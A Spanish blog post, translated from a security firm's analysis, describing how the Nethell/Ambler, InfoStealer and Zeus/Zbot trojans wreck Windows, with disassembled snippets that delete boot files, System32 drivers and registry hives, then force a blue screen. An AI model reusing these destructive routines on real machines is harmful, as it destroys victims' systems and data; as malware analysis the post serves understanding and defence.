Cuando un bot recibe la orden de inutilizar Windows

bsod

Fantástico artículo (en inglés que hemos traducido aquí) de los chicos de s21Sec donde han analizado los siguientes troyanos, InfoStealer, Zeus/Zbot y Nethell/Ambler.

¿Cuáles son los motivos para que un bot inutilice el sistema operativo y deje el equipo fuera de conexión?. Pues por ejemplo para desaparecer y no dejar rastro haciendo más complicado un análisis posterior. Otro motivo, sobre todo para los troyanos que intentan robar cuentas de banco, sería dejar el equipo de la víctima inutilzado para ganar tiempo y de este modo hacer las transferencias o las operaciones que necesiten mientras la víctima está desconectada de Internet.

Esto son los ejemplos:

Nethell/Ambler: en este caso localizar la subrutina que inutiliza Windows no ha sido difícil de localizar, ya que se llama "KILLWIN" "KILLWINANDREBOOT".

Este es el código:

mov esi, offset aCNtdetect_com ; "C:\\NTDETECT.COM" push edi push esi call GetFileAttributesA mov edi, SetFileAttributesA and al, 0F8h push eax push esi call edi push esi call DeleteFileA mov esi, offset aCNtldr ; "C:\\ntldr"

Este código borra el fichero NTDETECT.COM y el fichero NTLDR, pero antes de eliminarlo quita los bits de los atributos de oculto/sistema/sólo lectura. El otro comando KILLWINANDREBOOT hace lo mismo pero luego reinicia el sistema.

InfoStealer:

 

 

push offset aDrivers_sys ; "\\drivers\\*.sys" push eax ; Dest call ds:wcscat push 1 ; hFindFile push offset delete ; int lea eax, [ebp+FileName] push 98967Fh ; int push eax ; lpFileName call recursive_findfile add esp, 18h call reboot

Efectivo al más no poder, el código intenta borrar cada driver que se encuentra dentro del directorio System32.

De paso también elimina las entradas de registro necesarias para crear una sesión (logon):

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell = Explorer.exe UIHost = logonui.exe HKLM\SYSTEM\CurrentControlSet\Services\DcomLaunch\Parameters ServiceDll = rpcss.dll HKLM\SYSTEM\CurrentControlSet\Services\RpcSs\Parameters ServiceDll = rpcss.dll

Zeus/ZBot:

push eax

push 80000001h call ds:SHDeleteKeyA mov eax, ds:buffer push dword ptr [eax+50h] mov esi, 80000002h push esi call ds:SHDeleteKeyA mov eax, ds:buffer push dword ptr [eax+54h] push esi call ds:SHDeleteKeyA push 3E8h call ds:Sleep xor eax, eax push eax push eax push eax push eax mov eax, ds:buffer push 0Eh push dword ptr [eax+30h] call write_read_namedpipe

 

 

Se carga las siguientes ramas vitales del registro de Windows:

HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE\software HKEY_LOCAL_MACHINE\system

Pero esto no acaba aquí, cuando ha borrado todo lo anterior, ahora genera un BSOD con el siguiente código:

push 8007h call eax ; <--- SetErrorMode, to ignore everything xor eax, eax mov [eax], eax xor eax, eax ; from address 0x00000000 - 0xFFFFFFFF loc_1: mov byte ptr [eax], 0 ; fill the memory with zeros inc eax jmp short loc_1

Impresionante, que mala leche ;)

Artículo original de:

s21Sec